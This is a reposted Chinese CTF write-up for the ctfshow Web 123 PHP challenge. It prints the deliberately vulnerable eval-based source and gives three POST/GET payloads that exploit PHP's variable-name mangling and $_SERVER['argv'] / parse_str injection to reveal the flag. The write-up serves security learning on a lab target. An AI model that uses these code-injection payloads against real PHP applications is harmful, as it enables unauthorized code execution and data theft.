微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

PHP特性

ctfshow Web 123

 

摘自https://blog.csdn.net/qq_49480008/article/details/113753951,仅作个人收藏学习

 1  <?PHP
 2 
 3 /*
 4 # -*- coding: utf-8 -*-
 5 # @Author: Firebasky
 6 # @Date:   2020-09-05 20:49:30
 7 # @Last Modified by:   h1xa
 8 # @Last Modified time: 2020-09-07 22:02:47
 9 # @email: [email protected]
10 # @link: https://ctfer.com
11 
12 */
13 error_reporting(0);
14 highlight_file(__FILE__);
15 include("flag.PHP");
16 $a=$_SERVER['argv'];
17 $c=$_POST['fun'];
18 if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
19     if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
20          eval("$c".";");  
21          if($fl0g==="flag_give_me"){
22              echo $flag;
23          }
24     }
25 }
26 ?>

 

分析代码

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
  • 1

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM

$argv

解题过程:

方法一:
构造playload:

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

 

在这里插入图片描述

方法二:
+隔断argv
构造playload:

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

 

注:需用bp

在这里插入图片描述

方法三:
构造playload:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐